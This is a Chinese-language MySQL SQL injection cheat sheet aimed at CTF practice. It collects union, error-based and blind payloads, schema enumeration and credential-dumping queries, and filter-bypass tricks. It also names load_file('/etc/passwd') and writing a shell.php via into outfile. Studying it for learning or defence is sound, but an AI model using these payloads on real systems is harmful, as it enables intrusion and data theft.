本文仅用于网络安全技术学习与授权测试交流。,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[1.1 当前数据库名](#1.1 当前数据库名)
[1.2 当前数据库用户](#1.2 当前数据库用户)
[1.3 数据库版本](#1.3 数据库版本)
[1.4 当前连接的数据库(与 database() 相同)](#1.4 当前连接的数据库(与 database() 相同))
[1.5 当前用户权限(判断是否有 FILE 权限,能否写 shell)](#1.5 当前用户权限(判断是否有 FILE 权限,能否写 shell))
[1.6 全局变量(常用于判断 secure_file_priv 等)](#1.6 全局变量(常用于判断 secure_file_priv 等))
[2.1 获取所有数据库名(标准写法)](#2.1 获取所有数据库名(标准写法))
[2.2 合并为一行(用于联合查询或报错注入)](#2.2 合并为一行(用于联合查询或报错注入))
[2.3 排除系统库(只取用户创建的库)](#2.3 排除系统库(只取用户创建的库))
[2.4 带条件筛选(根据名称模糊查找)](#2.4 带条件筛选(根据名称模糊查找))
[2.5 获取第一个数据库名(用于盲注逐条获取)](#2.5 获取第一个数据库名(用于盲注逐条获取))
[3.1 获取当前数据库所有表名](#3.1 获取当前数据库所有表名)
[3.2 合并为一行](#3.2 合并为一行)
[3.3 指定数据库名查表(非当前库)](#3.3 指定数据库名查表(非当前库))
[3.4 根据表名模糊查找(常用于找 flag 表)](#3.4 根据表名模糊查找(常用于找 flag 表))
[3.5 获取前 N 个表(用于盲注分批获取)](#3.5 获取前 N 个表(用于盲注分批获取))
[3.6 按表名长度或字符数排序(有时可以用于探测)](#3.6 按表名长度或字符数排序(有时可以用于探测))
[4.1 获取指定表的所有列名](#4.1 获取指定表的所有列名)
[4.2 合并为一行](#4.2 合并为一行)
[4.3 指定数据库名](#4.3 指定数据库名)
[4.4 根据列名模糊查找(常用于找 flag 列)](#4.4 根据列名模糊查找(常用于找 flag 列))
[4.5 获取指定表的前 N 个列(盲注分批)](#4.5 获取指定表的前 N 个列(盲注分批))
[4.6 同时获取列名和数据类型(有时报错信息会更明显)](#4.6 同时获取列名和数据类型(有时报错信息会更明显))
[5.1 整表数据合并为一行](#5.1 整表数据合并为一行)
[5.2 多列数据合并,用分隔符区分](#5.2 多列数据合并,用分隔符区分)
[5.3 添加换行或特殊分隔符(方便解析)](#5.3 添加换行或特殊分隔符(方便解析))
[5.4 带条件查询](#5.4 带条件查询)
[5.5 按顺序获取数据(逐行)](#5.5 按顺序获取数据(逐行))
[5.6 获取整行所有列(联合查询中常用)](#5.6 获取整行所有列(联合查询中常用))
[5.7 利用 CONCAT 拼接固定前缀(便于定位回显位置)](#5.7 利用 CONCAT 拼接固定前缀(便于定位回显位置))
[6.1 ORDER BY 探测字段数](#6.1 ORDER BY 探测字段数)
[6.2 UNION SELECT NULL 探测字段数](#6.2 UNION SELECT NULL 探测字段数)
[6.3 结合报错信息判断字段数](#6.3 结合报错信息判断字段数)
[七、information_schema 被禁用时的替代方案](#七、information_schema 被禁用时的替代方案)
[7.1 MySQL >= 5.6 使用 mysql.innodb_table_stats](#7.1 MySQL >= 5.6 使用 mysql.innodb_table_stats)
[7.2 使用 sys.schema_auto_increment_columns(需 sys 库存在)](#7.2 使用 sys.schema_auto_increment_columns(需 sys 库存在))
[7.3 使用 sys.schema_table_statistics](#7.3 使用 sys.schema_table_statistics)
[7.4 使用 mysql.proc(存储过程/函数,可能包含表名信息)](#7.4 使用 mysql.proc(存储过程/函数,可能包含表名信息))
[7.5 使用 performance_schema.tables(某些版本可用)](#7.5 使用 performance_schema.tables(某些版本可用))
[7.6 暴力猜表名(字典攻击)](#7.6 暴力猜表名(字典攻击))
[九、MySQL 注入常见函数和关键字速查](#九、MySQL 注入常见函数和关键字速查)
一、基本信息获取(版本、用户、数据库)
这些是注入中最先需要获取的信息,用于确认数据库类型、版本、权限等。
1.1 当前数据库名
SELECT database()
注入中常用写法(根据闭合符调整):
-
联合查询:
-1 UNION SELECT database() -
报错注入:
1' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- - -
布尔盲注:
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 97 -- - -
时间盲注:
1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1)) > 97, SLEEP(5), 0) -- -
1.2 当前数据库用户
SELECT user() SELECT current_user() SELECT system_user()
user() 返回当前连接的用户(包含主机名),current_user() 返回认证时的用户名,system_user() 返回系统用户。
1.3 数据库版本
SELECT version() SELECT @@version
version() 返回数据库版本字符串,如 5.7.33-log。@@version 是全局变量,等价于 version()。
1.4 当前连接的数据库(与 database() 相同)
SELECT schema()
schema() 是 database() 的别名,少用但有时可以用于绕过过滤。
1.5 当前用户权限(判断是否有 FILE 权限,能否写 shell)
SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), "@", "'@'"), "'")
更简化的版本:SELECT file_priv FROM mysql.user WHERE user = SUBSTRING_INDEX(CURRENT_USER(), '@', 1)
1.6 全局变量(常用于判断 secure_file_priv 等)
SELECT @@secure_file_priv SELECT @@datadir SELECT @@basedir SELECT @@plugin_dir
-
@@secure_file_priv:限制INTO OUTFILE和LOAD_FILE的路径,空值表示任意路径,NULL 表示禁用。 -
@@datadir:数据目录路径。 -
@@basedir:MySQL 安装根目录。 -
@@plugin_dir:插件目录(用于 UDF 提权)。
二、查所有数据库名
2.1 获取所有数据库名(标准写法)
SELECT schema_name FROM information_schema.schemata
2.2 合并为一行(用于联合查询或报错注入)
SELECT group_concat(schema_name) FROM information_schema.schemata
2.3 排除系统库(只取用户创建的库)
SELECT group_concat(schema_name) FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
2.4 带条件筛选(根据名称模糊查找)
SELECT group_concat(schema_name) FROM information_schema.schemata WHERE schema_name LIKE '%ctf%'
2.5 获取第一个数据库名(用于盲注逐条获取)
SELECT schema_name FROM information_schema.schemata LIMIT 0,1 SELECT schema_name FROM information_schema.schemata LIMIT 1,1 SELECT schema_name FROM information_schema.schemata LIMIT 2,1
LIMIT offset, count,offset 从 0 开始。
三、查数据表名
3.1 获取当前数据库所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = database()
3.2 合并为一行
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()
3.3 指定数据库名查表(非当前库)
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf'
3.4 根据表名模糊查找(常用于找 flag 表)
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE '%flag%'
3.5 获取前 N 个表(用于盲注分批获取)
SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1 SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1
3.6 按表名长度或字符数排序(有时可以用于探测)
SELECT table_name FROM information_schema.tables WHERE table_schema = database() ORDER BY LENGTH(table_name) DESC
四、查列名
4.1 获取指定表的所有列名
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'
4.2 合并为一行
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'
4.3 指定数据库名
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'ctf' AND table_name = 'flag'
4.4 根据列名模糊查找(常用于找 flag 列)
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() AND column_name LIKE '%flag%'
4.5 获取指定表的前 N 个列(盲注分批)
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag' LIMIT 0,1 SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag' LIMIT 1,1
4.6 同时获取列名和数据类型(有时报错信息会更明显)
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'
五、查数据(提取内容)
5.1 整表数据合并为一行
SELECT group_concat(flag) FROM flag
5.2 多列数据合并,用分隔符区分
SELECT group_concat(CONCAT(id, ':', username, ':', password)) FROM users
5.3 添加换行或特殊分隔符(方便解析)
SELECT group_concat(CONCAT(id, 0x0a, username, 0x0a, password) SEPARATOR 0x0a0a) FROM users
0x0a 是换行符,0x0a0a 是双换行。
5.4 带条件查询
SELECT group_concat(flag) FROM flag WHERE id = 1 SELECT group_concat(username) FROM users WHERE role = 'admin'
5.5 按顺序获取数据(逐行)
SELECT flag FROM flag LIMIT 0,1 SELECT flag FROM flag LIMIT 1,1
5.6 获取整行所有列(联合查询中常用)
SELECT * FROM flag
在联合查询中需要字段数匹配:-1 UNION SELECT * FROM flag
5.7 利用 CONCAT 拼接固定前缀(便于定位回显位置)
SELECT CONCAT('[', flag, ']') FROM flag SELECT CONCAT('|||', flag, '|||') FROM flag
六、查字段数量(联合查询前提)
6.1 ORDER BY 探测字段数
ORDER BY 1 ORDER BY 2 ORDER BY 3 ... ORDER BY N
直到报错(Unknown column 'N' in 'order clause'),则最大字段数为 N-1。
6.2 UNION SELECT NULL 探测字段数
UNION SELECT NULL UNION SELECT NULL, NULL UNION SELECT NULL, NULL, NULL ...
直到不再报错,即为字段数。
6.3 结合报错信息判断字段数
-1 UNION SELECT 1,2,3,4,5 -- -
页面显示的数字即为回显位置。
七、information_schema 被禁用时的替代方案
很多 CTF 会禁用 information_schema,或过滤其中的关键字。以下是常用的替代方法:
7.1 MySQL >= 5.6 使用 mysql.innodb_table_stats
-- 查所有库名 SELECT group_concat(database_name) FROM mysql.innodb_table_stats -- 查当前库所有表名 SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name = database() -- 查所有表名(含库名) SELECT group_concat(CONCAT(database_name, '.', table_name)) FROM mysql.innodb_table_stats
7.2 使用 sys.schema_auto_increment_columns(需 sys 库存在)
SELECT group_concat(table_name) FROM sys.schema_auto_increment_columns WHERE table_schema = database()
7.3 使用 sys.schema_table_statistics
SELECT group_concat(table_name) FROM sys.schema_table_statistics WHERE table_schema = database()
7.4 使用 mysql.proc(存储过程/函数,可能包含表名信息)
SELECT group_concat(name) FROM mysql.proc WHERE db = database()
7.5 使用 performance_schema.tables(某些版本可用)
SELECT group_concat(table_name) FROM performance_schema.tables WHERE table_schema = database()
7.6 暴力猜表名(字典攻击)
在布尔盲注或时间盲注中,用字典逐条尝试:
SELECT * FROM flag -- 如果存在则返回内容或页面变化
或盲注中判断表是否存在:
1' AND (SELECT COUNT(*) FROM flag) > 0 -- -
八、查表名/列名中带空格的替代写法(过滤绕过)
| 场景 | 替代写法 |
|---|---|
| 空格被过滤 | 用 /**/ 或 %0a 或 %09 代替空格 |
information_schema 被过滤 |
用 %0ainformation_schema%0a 或 information_schema 拆分 |
SELECT 被过滤 |
用 SeLeCt 大小写混淆,或用 /*!50000SELECT*/ |
table_name 被过滤 |
用 table_schema 替代部分查询,或使用反引号 table_name |
group_concat 被过滤 |
用 concat_ws、concat + 多次查询 + 盲注 |
等号 = 被过滤 |
用 LIKE 或 IN 或 <> |
| 逗号被过滤 | 用 JOIN 或 FROM 替代,或在 SUBSTRING 中用 FROM...FOR... |
九、MySQL 注入常见函数和关键字速查
| 函数/关键字 | 用途 |
|---|---|
database() |
当前数据库名 |
user() |
当前用户 |
version() |
数据库版本 |
@@datadir |
数据目录路径 |
@@secure_file_priv |
文件读写限制 |
load_file('/etc/passwd') |
读取服务器文件(需要 FILE 权限) |
into outfile '/path/shell.php' |
写文件到服务器(需要 FILE 权限) |
benchmark(1000000, md5(1)) |
制造大量计算负载(可用于时间盲注) |
sleep(N) |
延迟 N 秒(时间盲注核心) |
extractvalue(1, concat(0x7e, query)) |
报错注入(32 字符限制) |
updatexml(1, concat(0x7e, query), 1) |
报错注入(32 字符限制) |
floor(rand(0)*2) + group by |
报错注入(主键冲突) |
if(condition, true_val, false_val) |
条件判断 |
case when condition then val1 else val2 end |
条件判断(替代 if) |
substring(str, pos, len) |
截取字符串(从 1 开始) |
substr(str, pos, len) |
同 substring |
mid(str, pos, len) |
同 substring |
length(str) |
字符串长度 |
ascii(str) |
第一个字符的 ASCII 码 |
hex(str) |
十六进制编码 |
concat(str1, str2) |
字符串拼接 |
concat_ws(sep, str1, str2) |
带分隔符的拼接 |
group_concat(str) |
多行合并为一行 |
十、总结
掌握了以上 SQL 语句,你可以在任何 MySQL 注入场景中灵活应对:
-
联合查询 :直接用
SELECT配合UNION,重点在group_concat和字段数探测。 -
报错注入 :使用
extractvalue或updatexml,套上concat(0x7e, (...), 0x7e)。 -
布尔盲注 :用
ASCII(SUBSTRING((...), pos, 1))配合二分查找。 -
时间盲注 :在布尔盲注基础上套上
IF(... , SLEEP(N), 0)。
如果 information_schema 被禁用,优先尝试 mysql.innodb_table_stats 和 sys 库。如果都被禁用,只能采用暴力猜表名 + 盲注逐字段提取。